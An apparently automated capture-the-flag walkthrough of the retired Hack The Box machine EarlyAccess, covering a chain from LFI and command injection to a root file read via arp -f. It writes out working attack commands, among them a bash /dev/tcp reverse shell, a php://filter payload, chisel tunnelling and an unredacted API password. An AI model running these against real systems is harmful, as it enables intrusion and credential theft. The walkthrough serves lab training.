← all walkthroughs

EarlyAccess

Linux· Hard· Web
owned
2026-07-14
time to own
18m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

EarlyAccess (<retired-instance-ip>, Linux Hard) is a Laravel gaming-store app fronting a Docker environment. Broken access control on the main site exposes an admin backup and a game-key validator; the sibling dev vhost holds an authenticated PHP endpoint (hash.php) that passes a user-controlled hash_function to system(), giving RCE as www-data inside a container. Credentials looted from the container (www-adm, an internal api service, and a reused [REDACTED: recovered credential] root password) recover the host SSH login for drew (user). Privilege escalation abuses the adm group's read access to the root-owned /usr/sbin/arp binary, whose -f etherfile parser leaks arbitrary root-readable files, to read /root/root.txt. Every credential in the chain is [REDACTED: recovered credential] in the box image, so the game-key front door can be skipped by logging into the dev vhost directly as admin@earlyaccess.htb:[REDACTED: recovered credential].

Attack path — how the box was taken

1EnumerationActive reconnaissance - port scanning and virtual-host enumeration.
Mapped services and discovered sibling virtual hosts
A port scan of <retired-instance-ip> found SSH (22), HTTP (80), and HTTPS (443), all Apache 2.4.38. The main site earlyaccess.htb advertised two sibling vhosts sharing the same IP: dev.earlyaccess.htb (a developer tools portal) and game.earlyaccess.htb. The dev vhost is where the exploitable endpoint lives.
nmap confirmed 22/80/443; the app and its links reference earlyaccess.htb, dev.earlyaccess.htb, game.earlyaccess.htb.
Exact commands 2
Enumerate open ports and banners.
nmap -Pn -sV --open -p22,80,443 $TARGET
Harvest links and sibling vhosts.
curl -ksS https://$TARGET/ | grep -Eo 'href="[^"]+' | sort -u
2Broken access controlBroken access control (OWASP A01) + offline hash cracking.
Reached the admin area and downloaded the game-key validator backup
The Laravel app performed no server-side role check on administrative routes: a registered/forged session reached /admin/backup/download and pulled backup.zip, which contains validate.py (the game-key generation algorithm). Cracking the game's SQLi-exposed admin hash yields the password '[REDACTED: recovered credential]'. In practice this password is [REDACTED: recovered credential] and can be used directly at the next step, making the validator work optional.
/admin/backup/download returned backup.zip (validate.py); admin credential resolves to admin@earlyaccess.htb:[REDACTED: recovered credential].
Exact commands 1
Retrieve the validator backup as admin.
curl -ksS -b '<admin_session>' https://$TARGET/admin/backup/download -o backup.zip && unzip -o backup.zip
3Initial accessOS command injection via an unsanitized dynamic function name; LFI source disclosure via php://filter.
Authenticated command injection in dev.earlyaccess.htb/actions/hash.php
Logging into the dev vhost as admin@earlyaccess.htb:[REDACTED: recovered credential] unlocks the tools portal. actions/file.php is a path-traversal/LFI sink; using a php://filter wrapper leaks the source of hash.php, which passes the user-supplied hash_function parameter straight into PHP system(). Setting hash_function=system turns the 'password' field into an OS command, executed as www-data inside a Docker container.
file.php leaked hash.php source; hash_function=system&password=[REDACTED: credential] returned command output; a bash /dev/tcp reverse shell returned www-data on host 'webserver'.
Exact commands 3
Authenticate to the dev vhost ([REDACTED: recovered credential] creds).
curl -sS -c dev_c http://$TARGET/ -o /dev/null; curl -sS -b dev_c -c dev_c -X POST http://$TARGET/actions/login.php --data-urlencode email=admin@earlyaccess.htb --data-urlencode password=[REDACTED: credential]
Leak hash.php source to confirm the system() sink.
curl -sS -b dev_c -G http://$TARGET/actions/file.php --data-urlencode 'filepath=php://filter/convert.base64-encode/resource=hash.php'
Trigger the reverse shell as www-data.
curl -sS -b dev_c -G http://$TARGET/actions/hash.php --data-urlencode action=hash --data-urlencode hash_function=system --data-urlencode "password=[REDACTED: credential] -c 'bash -i >& /dev/tcp/$INTERNAL_TARGET/4444 0>&1'" --data-urlencode debug=1
4Credential accessCredential reuse; secrets in dotfiles / internal service disclosure.
Looted container credentials and recovered the host SSH password
Inside the container, su to www-adm using the [REDACTED: recovered credential] password '[REDACTED: recovered credential]' exposes /home/www-adm/.wgetrc, which holds credentials for an internal api service (api:s3CuR3_API_PW!). The api's /check_db endpoint discloses [REDACTED: recovered credential]_ROOT_PASSWORD, and that value is reused verbatim as the host account drew's SSH password - the pivot key off the container onto the host.
.wgetrc -> api:s3CuR3_API_PW!; curl api:5000/check_db -> [REDACTED: recovered credential]_ROOT_PASSWORD reused for host user drew.
Exact commands 1
Internal API leaks the [REDACTED: recovered credential] root password (= drew's SSH password).
curl -su api:'s3CuR3_API_PW!' http://$TARGET:5000/check_db
5Foothold (user)Pivoting via chisel reverse port-forward over the docker bridge.
SSH to the host as drew through a chisel tunnel and read user.txt
Host SSH (<retired-instance-ip>:22 on the docker bridge) is not reachable from me box, so a chisel reverse tunnel exposed it as localhost:2222 on Kali. Authenticating as drew with the recovered password lands a shell on host 'earlyaccess' and reads user.txt.
chisel session tun proxy R:2222=><retired-instance-ip>:22 Listening; drew@earlyaccess id=1000; user.txt captured (accepted by HTB).
Exact commands 2
Expose internal host SSH to me box.
chisel server --reverse --port 8001   # Kali; container: chisel client $INTERNAL_TARGET:8001 R:2222:$INTERNAL_TARGET:22
Foothold on the host; user flag.
sshpass -p '<drew-password>' ssh -p 2222 drew@localhost 'id; cat /home/drew/user.txt'
6Privilege escalation (root)Arbitrary file read as root through a permissive group binary (arp etherfile parser).
adm-group arbitrary file read via root-owned /usr/sbin/arp
From drew, su to game-adm with the [REDACTED: recovered credential] password '[REDACTED: recovered credential]'. game-adm belongs to the adm group, and /usr/sbin/arp is owned root:adm with mode 0750 - executable by adm. arp's -f option parses a file as an ethers table; for each non-matching line it prints the content ('>> <line>') and then 'format error on line N'. Pointing it at /root/root.txt leaks the root flag as root. (su requires a real PTY, so it is driven via a small pty helper rather than piping the password on stdin.)
id -> uid=1001(game-adm) groups=1001(game-adm),4(adm); arp -v -f /root/root.txt echoed '>> <flag>' then 'arp: format error on line 1 of etherfile /root/root.txt'.
Exact commands 2
Escalate into the adm group.
su - game-adm    # password:[REDACTED: credential] (drive via a pty helper; su ignores piped stdin)
adm can execute root-owned arp; -f leaks the file contents via its error output.
/usr/sbin/arp -v -f /root/root.txt
7OwnershipFlag submission / ownership confirmation.
Submitted the root flag
The root flag was submitted to HTB's v5 own endpoint for machine id 375; HTB confirmed 'EarlyAccess root is now owned.' Ownership is now user + root.
POST /api/v5/machine/own {id:375} -> {"message": "EarlyAccess root is now owned.", "own_type": "root", "success": true}.
Exact commands 1
Record the root own.
POST https://labs.hackthebox.com/api/v5/machine/own  {"flag": "[REDACTED: flag]", "id": 375}

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp
443/tcp